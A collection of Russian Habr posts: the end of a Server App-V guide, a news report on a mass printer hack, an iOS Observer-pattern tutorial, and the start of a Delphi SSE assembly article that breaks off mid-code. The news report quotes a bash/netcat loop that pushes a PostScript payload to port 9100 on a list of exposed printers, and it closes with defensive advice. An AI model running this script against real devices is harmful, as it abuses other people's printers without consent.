* Если виртуализуемое приложение предполагает создание баз данных в MS SQL, требуется установленный Microsoft SQL Server 2012 Feature Pack
Далее запускаем секвенсор (как выглядит его главное окно, можно увидеть в начале данной статьи). Для создания нового пакета виртуального приложения (Virtual Application Package) выбираем целевой дистрибутив, задаём имя и обращаем внимание, что конечной директорией по умолчанию будет указан наш диск виртуальной файловой системы (Q:). Без необходимости его менять не стоит, а кроме того, установить приложение надо будет туда же в ту же папку.
По окончанию установки приложения можно будет добавить что-нибудь ещё в этот же контейнер (другие приложения), а также выполнить первичный запуск приложения для настройки или принятия лицензионного соглашения.
Выполнив процедуру до конца, мы получим в результате SFT-файл контейнера виртуального приложения и пачку вспомогательных файлов.
#### Развёртывание
Для развёртывания пакета виртуального приложения на целевой ОС должен быть установлен Server App-V Agent. Необходимые приложению Roles and Features сервера должны быть установлены ДО развёртывания приложения. Распространение полученных пакетов осуществляется средствами VMM (Library — Application Profiles), но для разового развёртывания, например в тестовой среде, можно воспользоваться PowerShell cmdlets (AgentCmdletsSetup.exe).
PS C:\> Set-ExecutionPolicy Remotesigned
PS C:\> Import-Module ServerAppVAgent
PS C:\> Add-ServerAppvPackage –Name ***MyApp*** –Manifest *C:\**MyApp\MyApp**\_manifest.xml* –SFT C:\MyApp\MyApp.sft –Configuration *C:\**MyApp**\deploymentconfig.xml*
Пример:
В результате мы получим в меню «Пуск» ссылку на новое приложение. Размещаться оно будет на диске Q:. Ссылка в свойствах ярлыка будет иметь примерно такой вид:
```
"C:\Program Files (x86)\Server Application Virtualization\savlnch.exe" /launch:"7-Zip File Manager 9.20.0.0"
```
Вот и всё. Можно пользоваться. | https://habr.com/ru/post/240971/ | null | ru | null |
# Хакер взломал 150 тысяч принтеров, доступных в Сети
Найденная в лотке принтера распечатка может стать большим сюрпризом
Специалист по компьютерной безопасности с ником Stackoverflowin [рассказал](https://www.bleepingcomputer.com/news/security/a-hacker-just-pwned-over-150-000-printers-left-exposed-online/) о взломе более 150 тысяч принтеров, которые доступны из глобальной сети. В интервью изданию Bleeping Computer он поведал, что цель взлома — не причинение вреда кому-либо или же извлечение выгоды, а привлечение внимания к проблеме информационной безопасности. По словам хакера, сейчас пользователи, как обычные, так и корпоративные, не обращают внимания на защиту своих принтеров, открывая к ним доступ извне без использования [файрволов](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D1%80%D0%B2%D0%BE%D0%BB) или других методов сетевой защиты.
Stackoverflowin создал скрипт, который занимается поиском доступных и открытых сетевых портов принтера, отправляя на уязвимые принтеры задачу печати. Никакого вреда скрипт не наносит, просто принтер пользователя начинает печатать страничку с определенным текстом, предупреждением о необходимости закрытия порта и защиты своего подключения.
`stackoverflowin the hacker god has returned, your printer is part of a flaming botnet, operating on putin's forehead utilising BTI's (break the internet) complex infrastructure.
[ASCII ART HERE]
For the love of God, please close this port, skid.
-------
Questions?
Twitter: https://twitter.com/lmaostack
-------`
Первая версия обращения к владельцам уязвимых принтеров содержала ASCII картинку робота и e-mail взломщика. При желании пользователь мог написать по этому адресу, получив информацию о том, как можно защититься. Вторая версия текста тоже содержит ASCII-рисунок, с изображением компьютера и рядом стоящего принтера. Выше рисунка размещается информация о необходимости защиты принтера, ставшего частью ботнета (на самом деле, ботнета нет).
Первая и вторая версия сообщений, отправленных хакером Stackoverflowin владельцам взломанных принтеров
Взлому оказались подвержены многие модели принтеров самых разных производителей. Среди прочих компаний, о принтерах которых стало известно — Afico, Brother, Canon, Epson, HP, Lexmark, Konica Minolta, Oki, Samsung. Скрипт ищет устройства, которые открывают порты IPP (Internet Printing Protocol), LPD (Line Printer Daemon) плюс порт 9100.
Частью скрипта является эксплоит, где используется уязвимость удаленного выполнения кода. Этот эксплоит рассчитан на принтеры линейки Dell Xeon. «Он позволяет мне выполнять инъекции PostScript и заставлять принтер выполнять задачи», — рассказывает Stackoverflowin.
То, что скрипт хакера оказался эффективным, не вызывает сомнений. В сети фотографии распечатанных страничек массово выкладывают владельцы взломанных принтеров. Вот часть этих сообщений.
Как видим, взломаны не только обычные, но и принтеры чеков.
### Повторение пройденного материала
В самом скрипте и его работе нет ничего особо сложного, о чем говорили, например, [на Хабрахабре](https://habrahabr.ru/post/281168/). Именно поэтому поиск доступных в сети принтеров с отправкой сторонних заданий в очередь печати — популярное среди различных взломщиков и [скрипт-кидди](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D1%80%D0%B8%D0%BF%D1%82-%D0%BA%D0%B8%D0%B4%D0%B4%D0%B8) занятие.
Вероятно, взламывают принтеры гораздо чаще, чем об этом становится известно. В СМИ обычно освещаются случаи, когда принтеры заставляют печатать нечто необычное. Например, очень известным стал массовый взлом принтеров, [осуществленный в прошлом году](https://geektimes.ru/post/274835/) Эндрю Оренхаймером (Andrew Auernheimer). Он приурочил свое событие ко дню рождения Гитлера и отправил на печать множество листовок с антисемитским текстом и протестами против мигрантов.
Тогда стало известно о том, что задействованы были принтеры минимум 6 крупных университетов. Сначала злоумышленник собрал IP подключенных к сети устройств из Северной Америки и Австралии с открытым портом 9100. Сделать это оказалось очень просто при помощи сервисов [Shodan](https://www.shodan.io/) или [masscan](https://github.com/robertdavidgraham/masscan). После этого был использован простенький скрипт следующего содержания:
```
#!/bin/bash
for i in `cat printers`
do
cat payload.ps |netcat -q 0 $i 9100
done
```
Плюс была использована еще строка «while true; do killall --older-than 1m netcat;sleep 1;done» для того, чтобы убирать «повисшие» подключения. Об успехе всего мероприятия взломщик тоже узнал из социальных сетей, в частности, Twitter.
Защититься от подобного достаточно просто. Не стоит присваивать без необходимости своим принтерам публичные IP-адреса, на предприятии нужно проверить, не присвоены ли такие адреса стоящим там печатающим устройствам. Если присвоены, но для работы это не нужно, лучше исправить ситуацию заранее. Кроме того, можно воспользоваться одним из платных или бесплатных файрволов. Компания HP уже опубликовала [собственное решение](http://h30434.www3.hp.com/t5/Printer-Software-and-Drivers/Stackoverflowin-sthack/td-p/5970392) проблемы. | https://habr.com/ru/post/373139/ | null | ru | null |
# Паттерны проектирования, взгляд iOS разработчика. Часть 2. Наблюдатель
Содержание:
===========
[Часть 0. Синглтон-Одиночка](https://habrahabr.ru/post/320728/)
[Часть 1. Стратегия](https://habrahabr.ru/post/321182/)
Часть 2. Наблюдатель
Сегодня мы разберемся с "начинкой" паттерна "Наблюдатель". Сразу оговорюсь, что в мире iOS у вас не будет острой необходимости реализовывать этот паттерн, поскольку в SDK уже есть `NotificationCenter`. Но в образовательных целях мы полностью разберем анатомию и применение этого паттерна. К тому же, самостоятельная реализация может обладать большей гибкостью и, в некоторых случаях, быть более полезной.
"Кажется дождь собирается" (с)
==============================
Авторы книги "Паттерны проектирования" (Эрик и Элизабет Фримен), в качестве примера, предлагают применять паттерн "Наблюдатель" к разработке приложения Weather Station. Представьте, что у нас есть: метеостанция, и объект `WeatherData`, который обрабатывает данные от ее датчиков и передает их нам. Приложение же состоит из трех экранов: экрана текущего состояния погоды, экрана статистики и экрана прогноза.
Мы знаем, что `WeatherData` предоставляет нам такой интерфейс:
```
// Objective-C
- (double)getTemperature;
- (double)getHumidity;
- (double)getPressure;
- (void)measurementsChanged;
```
```
// Swift
func getTemperature() -> Double
func getHumidity() -> Double
func getPressure() -> Double
func measurementsChanged()
```
Также разработчики `WeatherData` сообщили, что при каждом обновлении погодных датчиков будет вызван метод `measurementsChanged`.
Конечно же, самое простое решение — написать код непосредственно в этом методе:
```
// Objective-C
- (void)measurementsChanged {
double temp = [self getTemperature];
double humidity = [self getHumidity];
double pressure = [self getPressure];
[currentConditionsDisplay updateWithTemp:temp humidity:humidity andPressure:pressure];
[statisticsDisplay updateWithTemp:temp humidity:humidity andPressure:pressure];
[forecastDisplay updateWithTemp:temp humidity:humidity andPressure:pressure];
}
```
```
// Swift
func measurementsChanged() {
let temp = self.getTemperature()
let humidity = self.getHumidity()
let pressure = self.getPressure()
currentConditionsDisplay.update(with: temp, humidity: humidity, and: pressure)
statisticsDisplay.update(with: temp, humidity: humidity, and: pressure)
forecastDisplay.update(with: temp, humidity: humidity, and: pressure)
}
```
Такой подход конечно же плох, потому что:
* программируем на уровне конкретных реализаций;
* сложная расширяемость в будущем;
* нельзя в рантайме добавлять/убирать экраны, на которых будет показана информация;
* … (свой вариант);
Поэтому паттерн "Наблюдатель" будет в этой ситуации очень кстати. Поговорим немного о характеристиках этого паттерна.
«Наблюдатель». Что под капотом?
===============================
Основные характеристики этого паттерна — наличие СУБЪЕКТА и, собственно, НАБЛЮДАТЕЛЕЙ. Связь, как вы уже догадались, один ко многим, и при изменении состояния СУБЪЕКТА происходит оповещение его НАБЛЮДАТЕЛЕЙ. На первый взгляд все просто.
Первое что нам понадобится — интерфейсы (протоколы) для наблюдателей и субъекта:
```
// Objective-C
@protocol Observer
- (void)updateWithTemperature:(double)temperature
humidity:(double)humidity
andPressure:(double)pressure;
@end
@protocol Subject
- (void)registerObserver:(id)observer;
- (void)removeObserver:(id)observer;
- (void)notifyObservers;
@end
```
```
// Swift
protocol Observer: class {
func update(with temperature: Double, humidity: Double, and pressure: Double)
}
protocol Subject: class {
func register(observer: Observer)
func remove(observer: Observer)
func notifyObservers()
}
```
Теперь нужно привести в порядок `WeatherData` (подписать на соотв. протокол и не только):
```
// Objective-C
// файл заголовка WeatherData.h
@interface WeatherData : NSObject
- (void)measurementsChanged;
- (void)setMeasurementWithTemperature:(double)temperature
humidity:(double)humidity
andPressure:(double)pressure; // test method
@end
// файл реализации WeatherData.m
@interface WeatherData()
@property (strong, nonatomic) NSMutableArray \*observers;
@property (assign, nonatomic) double temperature;
@property (assign, nonatomic) double humidity;
@property (assign, nonatomic) double pressure;
@end
@implementation WeatherData
- (instancetype)init
{
self = [super init];
if (self) {
self.observers = [[NSMutableArray alloc] init];
}
return self;
}
- (void)registerObserver:(id)observer {
[self.observers addObject:observer];
}
- (void)removeObserver:(id)observer {
[self.observers removeObject:observer];
}
- (void)notifyObservers {
for (id observer in self.observers) {
[observer updateWithTemperature:self.temperature
humidity:self.humidity
andPressure:self.pressure];
}
}
- (void)measurementsChanged {
[self notifyObservers];
}
- (void)setMeasurementWithTemperature:(double)temperature
humidity:(double)humidity
andPressure:(double)pressure {
self.temperature = temperature;
self.humidity = humidity;
self.pressure = pressure;
[self measurementsChanged];
}
@end
```
```
// Swift
class WeatherData: Subject {
private var observers: [Observer]
private var temperature: Double!
private var humidity: Double!
private var pressure: Double!
init() {
self.observers = [Observer]()
}
func register(observer: Observer) {
self.observers.append(observer)
}
func remove(observer: Observer) {
self.observers = self.observers.filter { $0 !== observer }
}
func notifyObservers() {
for observer in self.observers {
observer.update(with: self.temperature, humidity: self.humidity, and: self.pressure)
}
}
func measurementsChanged() {
self.notifyObservers()
}
func setMeasurement(with temperature: Double,
humidity: Double,
and pressure: Double) { // test method
self.temperature = temperature
self.humidity = humidity
self.pressure = pressure
self.measurementsChanged()
}
}
```
Мы добавили тестовый метод `setMeasurement` для имитации изменения состояний датчиков.
Поскольку методы `register` и `remove` у нас редко будут меняться от субъекта к субъекту, было бы хорошо иметь их реализацию по умолчанию. В Objective-C для этого нам понадобится дополнительный класс. Но для начала переименуем наш протокол и уберем из него эти методы:
```
// Objective-C
@protocol SubjectProtocol
- (void)notifyObservers;
@end
```
Теперь добавим класс `Subject`:
```
// Objective-C
// файл заголовка Subject.h
@interface Subject : NSObject
@property (strong, nonatomic) NSMutableArray \*observers;
- (void)registerObserver:(id)observer;
- (void)removeObserver:(id)observer;
@end
// файл реализации Subject.m
@implementation Subject
- (void)registerObserver:(id)observer {
[self.observers addObject:observer];
}
- (void)removeObserver:(id)observer {
[self.observers removeObject:observer];
}
@end
```
Как видите, в этом классе два метода и массив наших наблюдателей. Теперь в классе `WeatherData` убираем этот массив из свойств и унаследуемся от `Subject`, а не от `NSObject`:
```
// Objective-C
@interface WeatherData : Subject
```
В свифте, благодаря расширениям протоколов, дополнительный класс не понадобится.
Мы просто включим в протокол `Subject` свойство `observers`:
```
// Swift
protocol Subject: class {
var observers: [Observer] { get set }
func register(observer: Observer)
func remove(observer: Observer)
func notifyObservers()
}
```
А в расширении протокола напишем реализацию методов `register` и `remove` по умолчанию:
```
// Swift
extension Subject {
func register(observer: Observer) {
self.observers.append(observer)
}
func remove(observer: Observer) {
self.observers = self.observers.filter {$0 !== observer }
}
}
```
Принимаем сигналы
=================
Теперь нам нужно реализовать экраны нашего приложения. Мы реализуем только один из них: `CurrentConditionsDisplay`. Реализация остальных аналогична.
Итак, создаем класс `CurrentConditionsDisplay`, добавляем в него два свойства и метод `display` (этот экран должен показывать текущее состояние погоды, как мы помним):
```
// Objective-C
@interface CurrentConditionsDisplay()
@property (assign, nonatomic) double temperature;
@property (assign, nonatomic) double humidity;
@end
@implementation CurrentConditionsDisplay
- (void)display {
NSLog(@"Current conditions: %f degrees and %f humidity", self.temperature, self.humidity);
}
@end
```
```
// Swift
private var temperature: Double!
private var humidity: Double!
func display() {
print("Current conditions: \(self.temperature) degrees and \(self.humidity) humidity")
}
```
Теперь нам нужно "подписать" этот класс на протокол `Observer` и реализовать необходимый метод:
```
// Objective-C
// в файле заголовка CurrentConditionsDisplay.h
@interface CurrentConditionsDisplay : NSObject
// в файле реализации CurrentConditionsDisplay.m
- (void)updateWithTemperature:(double)temperature
humidity:(double)humidity
andPressure:(double)pressure {
self.temperature = temperature;
self.humidity = humidity;
[self display];
}
```
```
// Swift
class CurrentConditionsDisplay: Observer {
func update(with temperature: Double, humidity: Double, and pressure: Double) {
self.temperature = temperature
self.humidity = humidity
self.display()
}
```
Почти готово. Осталось зарегистрировать нашего наблюдателя у субъекта (также не забывайте удалять регистрацию при деинициализации).
Для этого нам понадобится еще одно свойство:
```
// Objective-C
@property (weak, nonatomic) Subject \*weatherData;
```
```
// Swift
private weak var weatherData: Subject?
```
И инициализатор с деинициализатором:
```
// Objective-C
- (instancetype)initWithSubject:(Subject \*)subject {
self = [super init];
if (self) {
self.weatherData = subject;
[self.weatherData registerObserver:self];
}
return self;
}
- (void)dealloc
{
[self.weatherData removeObserver:self];
}
```
```
// Swift
init(with subject: Subject) {
self.weatherData = subject
self.weatherData?.register(observer: self)
}
deinit {
self.weatherData?.remove(observer: self)
}
```
Заключение
==========
Мы написали довольно простую реализацию паттерна "Наблюдатель". Наш вариант, конечно же не без изъянов. Например, если мы добавим четвертый датчик, то нужно будет переписывать интерфейс наблюдателей и реализации этого интерфейса (чтоб доставлять до наблюдателей четвертый параметр), а это не есть хорошо. В `NotificationCenter`, о котором я упоминал в самом начале статьи, такой проблемы не существует. Дело в том, что там передача данных происходит одним-единым параметром-словарем.
Спасибо за внимание, учитесь и учите других.
Ведь пока мы учимся — мы остаемся молодыми. :) | https://habr.com/ru/post/324292/ | null | ru | null |
# Стероидный велосипед: векторная алгебра, на ассемблере, в Delphi
Некоторое время назад понадобилось мне в одной Delphi-шной программе много посчитать, но расчеты шли как-то подозрительно долго. Переписывать около 100 kLOC не хотелось- особенно из-за наличия большого количества форм, а предыдущий мой опыт показывал, что если код расчетов перекомпилировать в Lazarus'е (с FPC3.0.4)- то скорость счета возрастает до 2-х раз, и поэтому было очевидно, что конкретно в данном случае компилятор Embarcadero (разных версий) сильно несилен, и надо его менять. С другой стороны, IDE от Embarcadero для быстрого рисования GUI- вне конкуренции, а их компилятор на редкость быстрый (оно и понятно- быстро+плохо, или медленно+хорошо). Но ведь вкус кактуса неимоверно притягателен. Профайлинг подручными средствами (tinyprofiler) во всех случаях показывал, что основное время (90%) занимают операции векторной алгебры над большими массивами чисел, а быстрый тест производительности этих процедур показал, что на операциях с этой алгеброй общая "пропускная способность" имевшегося математического ядра составляет для операций типа умножения векторов и скалярных произведений- ~4 ГБ/с, для умножения вектора на матрицу- 1,5-2 ГБ/с, а вот для операций обращения матрицы- проседает до 360 МБ/с (на Core I5 4460 и на Xeon 2660V2, DDR3-1866). *Внутре рядом с неонкой используются только 3-х и 4-х мерные вектора и матрицы*. GUI и ввод-вывод крутятся в своем потоке, а расчеты- крутятся в своих потоках, и друг другу не мешают. В голову пришла мысль, что *4х4 матрица- должна целиком влезать в SSE-регистры процессора и для нее SIMD-очень желательны,* а Embarcadero в компилятор SIMD не завезли, не завезут, и вообще- дальше нижней половины XMM0 не используют. В итоге нарисовалась очень простая задача- реализовать быструю векторную алгебру в минимальном объеме для 3D/4D векторов своими руками- то есть, соорудить стероидный велосипед, о котором в заголовке написано.
И вот здесь мой навык гуглинга дал сбой- то есть, навык-то есть- мне предлагали купить проприетарные библиотеки, в которых все уже есть, или примеры векторных операций с FP32 на SSE, но примеров под FP64- не было. Теперь будет. Под катом- как на SSE4.2 руками сделать операцию с вектором для расчетов какой-нибудь физики и вывернуть матрицу наизнанку.
Как я отметил, на тот момент в наличии были Core I5 4460 & Xeon 2660v2, которые поддерживают SSE4.2, но еще не имеют поддержки FMA и AVX, поэтому решать задачу будем на том, что есть, но по ходу пьесы я отмечу те места, где AVX мог бы быть полезен и объясню, почему он бесполезен. Впрочем, объясню сейчас- AVX в контексте бесполезен потому, что даже SSE4.2 позволяет средненькому процу переваривать данные быстрее, чем они пролазят через память, даже одно ядро Xeon'а на 3,3 ГГц обрабатывает ~10ГБ/с, а целый процессор забивает все 4-ре канала памяти и успевает покурить в перерывах, если вся задача не влезает в кэш (у Ryzen 3900 кэша 64МБ, и в такой кеш влезает довольно много, потому на нем смысл в AVX может и возникнуть, но тогда ботлнек случается на переключении между потоками, и заметного выигрыша мне все равно не получить).
Итак, к делу. Минимальные начальные данные:
В нашем процессоре имеется SSE4.2. А это значит, что нам доступны 16 XMM регистров, каждый из которых может содержать по 2 FP64-числа, и всего в XMM мы можем разместить 32 таких числа. Немножко огорчает тот факт, что мы не можем просто так напрямую быстро и эффективно перекидывать данные из XMM в обычные регистры и обратно, но 32 числа- это все-таки довольно много.
Регистры пронумерованы от XMM0 до XMM15. Каждый регистр содержит 128 бит, которые могут рассматриваться по-разному- как просто пачка бит, как 2 FP64, как 4 FP32, как 4 Int32, и много еще как, но нас будет интересовать именно 2 FP64- так как для расчетов физики в моем случае используются только они.
Для таких чисел в SSE4.2 есть ряд очень приятных инструкций, а именно:
**movupd XMM4, oWORD[ Pk ]** - MOVe Unaligned Packed Double загружает в регистр XMM4 octo-WORD, то есть- 16 байт, из адреса [Pk], причем, загружает их невыровненные, то есть, этот адрес может быть любой, и как бы напоминает нам, что это не просто какие-то байты, а это два вещественных числа.
**movapd XMM4, oWORD[ Pk ]** - все то же самое, но адрес должен быть выровнен (Aligned) в памяти на 16, если подсунем невыровненный- получим исключение, а если выровненный- то загрузим данные чуть-чуть быстрее, чем movupd.
Если в этих инструкциях поменять адрес с регистром местами- то тогда вместо загрузки данных мы получим их сохранение из регистра в память.
**movsd XMM4, qWORD[ Pk ]** - MOVe Single Double загружает в нижнюю половину регистра XMM4 quad-WORD, то есть- 8 байт, из адреса [Pk], как бы напоминает- что это именно FP64 число, верхнюю половину не трогает, и к выровненности требований не предъявляет. Можно сделать movsd XMM0, XMM1- тогда она переложит одно нижнее число из XMM1 в XMM0. Ее аналог- **movlpd**, но она не умеет перекладывать из регистра в регистр, только из/в память.
**movlhps XMM0, XMM1** - MOVe Low to High Packed Single - внезапно, берет нижнюю половину XMM1 за два вещественных одинарной точности, и перекладывает их в верхнюю половину XMM0. но так как на самом деле это все просто 64 бита- то получается, что для нас она перекладывает одно двойное число из нижней половины в верхнюю. причем, можно использовать ее в виде movlhps XMM0, XMM0- тогда мы продублируем нижнее число регистра в его же верхнюю половину, и получим два одинаковых числа в одном регистре.
**movhlps XMM0, XMM1**- наоборот- переложить верхнюю половину одного регистра в нижнюю половину другого (можно и этого же).
**mulpd XMM0, XMM4**- ооо, это одна из наших любимых инструкций на ближайшее время, MULtiply Packed Doubles- в XMM0 у нас лежат (X0, Y0), в XMM4 у нас лежат (X1, Y1), эта инструкция попарно их перемножает и складывает результат снова в XMM0- то есть, после ее выполнения в XMM0 будет лежать ( X0X1, Y0Y1)- два умножения за время одного!
**addpd XMM0, XMM1** - вторая любимая ~~жена~~ инструкция- ADDition Packed Double- после нее XMM0 = ( X0+X1, Y0+Y1).
Иногда бывает еще нужно mulsd/addsd XMM0, XMM1- перемножить/сложить нижние числа регистров и положить результат в нижнюю половину первого операнда.
Еще одна очень полезная инструкция
**haddpd XMM0, XMM2** - Horizontal ADDition Packed Double: если XMM0 = (x0,y0), а XMM1 = (x1,y1), то после выполнения этой инструкции XMM0 = (x0+y0, x1+y1)- два сложения за такт по горизонтали (в отличие от addpd, которая складывает "по вертикали").
ну и наверное, последняя из интересных инструкций
**dppd XMM0, XMM6, 49** // imm8 = bit0 | ~bit1 | bit4 | bit5
Dot Product Packed Double - скалярное произведение приемника и источника с маской. Маска выбирает, какие части регистров перемножать, как складывать и куда сохранять результаты. Маска 49- говорит, что нужно X0X1+Y0Y1 положить в нижнюю половину регистра приемника.
**divpd/divsd** - как нетрудно догадаться, противоположны mulpd/mulsd и выполняют деление- но они медленные! латентность и время выполнения у них в четыре-пять раз выше.
Так как речь идет о математике, то все функции и процедуры базовых вычислений по умолчанию были с директивами inline и register. Инлайн избавляет от затрат на вызовы в циклах, а register- заставляет компилятор пересылать данные через регистры процессора, а не стек, что несколько быстрее. В документации Delphi сказано, что параметры передаются через регистры, если их меньше пяти, а начиная с пятого- через стек- это надо иметь в виду. Еще в x64-mode Delphi не умеет ассемблерные вставки (только процедуры целиком) и не умеет инлайн ассемблерных функций, так что при переходе на ассемблер придется обходиться без inline- а значит короткие функции будут иметь большой штраф на вызов, и желательно обрабатывать сразу большие пачки данных, чтобы его скомпенсировать :-(.
[Хороший лонгрид для начала с ассемблером...](https://habr.com/ru/post/414443/#registry-v-x86-64)
[Документация от Embarcadero](http://docwiki.embarcadero.com/RADStudio/Sydney/en/Inline_Assembly_Code_Index)
Предполагая, что читатель знаком с ассемблером или прочел лонгрид, давайте быстренько перемножим два массива чисел:
```
T_RealArr = array of real;
T_Mul_s_s = class
private
fSrc1: T_RealArr;
fSrc2: T_RealArr;
fRes: T_RealArr;
procedure exec_SSE(const i0,i1: integer);
end;
…
// IMPLEMENTATION
const FloatSize = 8;
procedure T_Mul_s_s.exec_SSE(const i0,i1: integer);
{$IFDEF CPUX64}
asm
// Self = RCX
.PUSHNV R13
.PUSHNV R14
.PUSHNV R15
XOR R15,R15
XOR R14,R14
XOR R13,R13
mov R13, Self.fRes // R13 = @Res[0]
mov R14, Self.fSrc1 // R14 = @Src1[0]
mov R15, self.fSrc2 // R15 = @Src2[0]
// расчет смещения Elem[i0] относительно начала массива
XOR RAX, RAX // очистили RAX
mov EAX, i0 // i0- int32, потому кладем ее в EAX, для RAX она маловата
imul RAX, FloatSize // а умножать можно весь RAX
// начальные адреса блоков данных, которые будем обрабатывать.
add R13, RAX // R13 = @Res[i0]
add R14, RAX // R14 = @Src1[i0]
add R15, RAX // R15 = @Src2[i0]
// а теперь закинем куда-нибудь число оставшихся элементов:
mov EAX, i1
sub EAX, i0
inc EAX // EAX = 1+i1-i0
// to be continued…
```
Массивы у нас лежат в памяти одним куском, но для многопоточности их придется обрабатывать по частям, многопоточностью управляет другой код, а здесь мы запрашиваем диапазон элементов [i0, i1], которые нужно обработать.
**.NOFRAME** говорит компилятору, что данная функция не вызывает [других функций и не передает параметры через стек](http://docwiki.embarcadero.com/RADStudio/Sydney/en/Assembly_Procedures_and_Functions), и потому для нее не надо генерировать фрейм стека, что экономит немножко времени на его создании/удалении, в данном случае пренебрежимо мало, но если бы мы обрабатывали очень короткие пачки данных- то эффект становится заметен, хотя и остается на уровне каких-то процентов.
**.PUSHNV R13** говорит компилятору, что перед вызовом нашей функции надо сохранить на стек регистр R13, а после вызова- восстановить его значение, позволяет не париться вопросом- у всякого-ли пуша есть своя попа. для XMM-регистров есть своя, аналогичная директива **.SAVENV XMM5**
Документация Embarcadero говорит, что при вызове функций регистры XMM0-XMM4 сохраняются и восстанавливаются вызывающим кодом, поэтому об их целостности можно не беспокоиться, а регистры XMM5-XMM15 должны сохраняться и восстанавливаться вызываемым кодом, и поэтому, если мы их используем, то чтобы не поломать что-то снаружи нужно позаботиться об этом, иначе наша процедура может затереть данные, положенные в эти регистры кем-то другим.
mov R13, Self.fRes - требует объяснения- все данные у меня завернуты в объект, Self передается в метод обычно первым параметром через RCX, fRes- имеет какое-то смещение относительно него и его даже можно рассчитать, но Delhpi упрощает мне жизнь, позволяя из своего ассемблера обращаться к переменным и полям по их обычным именам. А так как разные версии компилятора иногда кладут эти переменные по разным регистрам (вопреки документации), то при разработке на нескольких машинах могут возникать странные баги если верить в то, что Self всегда будет в RCХ, а i0- в R8d. Обращение же по имени переменной всегда нормально обрабатывается. Но если придется переносить этот код в FPC- то такое уже не взлетит, придется передавать сами массивы в качестве параметров, да там и вообще синтаксис ассемблера другой.
```
// continue…
@new_pair:
movapd XMM0, oWORD[R14] // XMM0 = src1[i] | src1[i+1]
movapd XMM1, oWORD[R15] // XMM1 = src2[i] | src2[i+1]
mulpd XMM0, XMM1 // XMM0 = src1[i+0]src2[i+0] | src1[i+1]src2[i+1]
movapd oWORD[R13], XMM0 // save to Res[i], Res[i+1]
add R15, FloatSize*2 // next src2 pair
add R14, FloatSize*2 // next src1 pair
add R13, FloatSize*2 // next res pair
sub RAX, 2
cmp RAX, 1
JA @new_pair
cmp RAX, 0
JE @finish
@unaligned_end:
movlpd XMM0, qWORD[R14] // XMM0 = src1[i] | garbage0
movlpd XMM1, qWORD[R15] // XMM1 = src2[i] | garbage1
mulsd XMM0, XMM1 // XMM0 = src1[i]* src2[i] | garbage0
movlpd qWORD[R13], XMM0
add R15, FloatSize // move to the next element
add R14, FloatSize
add R13, FloatSize
dec RAX
cmp RAX,0
JA @unaligned_end // if RAX > 0- jump to next elem
@finish:
{$ELSE CPUX64} begin {$ENDIF CPUX64}
end;
```
Cначала мы бежим по нашим данным, загружаем буфер по N=2 числа, перемножаем их тоже пачками, а результаты перекидываем в память и уменьшаем счетчик оставшихся элементов на N. Если останется меньше N элементов- то загрузить полный буфер не удастся, тогда обработаем элементы поштучно, а если останется 0- то мы просто прыгнем на finish. Вместо N=2 легко сделать N=4 (скорости это не добавляет).
На данном коде ускорение по сравнению с обычной (компиляторной) версией примерно в 1.5 раза. *Я говорил, что Lazarus мне давал ускорени в 2 раза- но там код брал данные, раскиданные в памяти как попало, и Лазарус почему-то реализовал это сильно эффективнее. Здесь у нас данные лежат в памяти кучно- КМК- компилятору негде особенно косячить, поэтому хуже он просто не смог*.
Теперь чуть медленнее попробуем умножить кучу векторов на константу. Так как с выровненными на 16 векторами работать удобнее- то все вектора были превращены в 4-D-вектора, но трехмерный код игнорирует четвертую компоненту (а иногда использует ее для каких-нибудь промежуточных данных, в нее можно скинуть массу частицы или энергию, например, или длину вектора сохранить).
```
T_Vect = record
x: real;
y: real;
z: real;
{$IFDEF ALIGNED_VECTORS_ON}
t: real;
{$ENDIF }
end;
T_VectArr = array of T_Vect;
{$IFDEF ALIGNED_VECTORS_ON}
const VectSize = FloatSize * 4;
{$ELSE}
const VectSize = FloatSize * 3;
{$ENDIF }
T_Mul_v_p = class
private
fCoeff: mreal;
fSrc: T_VectArr;
procedure exec_SSE(const i0,i1: integer);
end;
procedure T_Mul_v_p.exec_SSE_fast(const i0,i1: integer);
{$IFDEF CPUX64}
asm
// Self = RCX
/// Result = Source!
.NOFRAME
.PUSHNV R14
XOR RAX, RAX
mov EAX, i0
imul RAX, VectSize
XOR R14, R14
mov R14, Self.fSrc // R14 = @Src[0]
add R14, RAX // R14 = @Src[i0]
mov EAX, i1
sub EAX, i0
movlpd XMM2, Self.fCoeff // XMM2 = fCoeff | x
movlhps XMM2, XMM2 // продублировали в верхнюю половину
@new_vect:
movapd XMM0, oWORD[R14] // XMM0 = v[i].x | v[i].y
movapd XMM1, oWORD[R14+2 * FloatSize] // XMM0 = v[i].z | v[i].t
mulpd XMM0, XMM2
mulsd XMM1, XMM2 // только нижняя половина!
movapd oWORD[R14 ], XMM0
{$IFDEF ALIGNED_VECTORS_ON}
movapd oWORD[R14+2 * FloatSize], XMM1
{$ELSE}
movlpd qWORD[R14+2 * FloatSize], XMM1
{$ENDIF }
add R14, VectSize // next vector
dec RAX
cmp RAX, 0
JGE @new_vect // Jump if RAX >=0
{$ENDIF CPUX64}
end;
```
Код получился почти одинаковый- но это понятно, так как массив векторов- это, фактически, просто в 4-ре раза удлиненный массив скаляров.
Вектора хорошо, но нам нужны еще и тензоры второго ранга в 3-мерном пространстве (тензора деформаций и напряжений, например, или инерции):
```
T_Tens = packed record
x: T_Vect;
y: T_Vect;
z: T_Vect;
end;
```
Две часто встречающихся операция с ними- а.i += c.jB.ji и a.i += B.ijc.j- то есть, добавление к вектору правого или левого матричного произведения.
```
class procedure T_SSE.Add(var a_i: T_Vect; const B_ij: T_Tens; const c_j: T_Vect)
; static; register;
{$IFDEF CPUX64}
asm
{ a_i.x := a_i.x+b_ij.x.x * C_j.x+b_ij.x.y * C_j.y+b_ij.x.z * C_j.z ;
a_i.y := a_i.y+b_ij.y.x * C_j.x+b_ij.y.y * C_j.y+b_ij.y.z * C_j.z ;
a_i.z := a_i.z+b_ij.z.x * C_j.x+b_ij.z.y * C_j.y+b_ij.z.z * C_j.z ;}
// C_j: RAX,
// b_ij: RDX, r8 (? compiler dependent! do not use)
// a_i: RCX
.NOFRAME
.SAVENV XMM5
.SAVENV XMM6
.SAVENV XMM7
movupd XMM6, oWORD[C_j+0 * FloatSize] // XMM6 = c0 | c1
movsd XMM7, qWORD[C_j+2 * FloatSize] // XMM7 = c2 | w
movupd XMM4, oWORD[a_i+0 * FloatSize] // XMM4 = a0 | a1
movsd XMM5, qWORD[a_i+2 * FloatSize] // XMM5 = a2 | w = waste
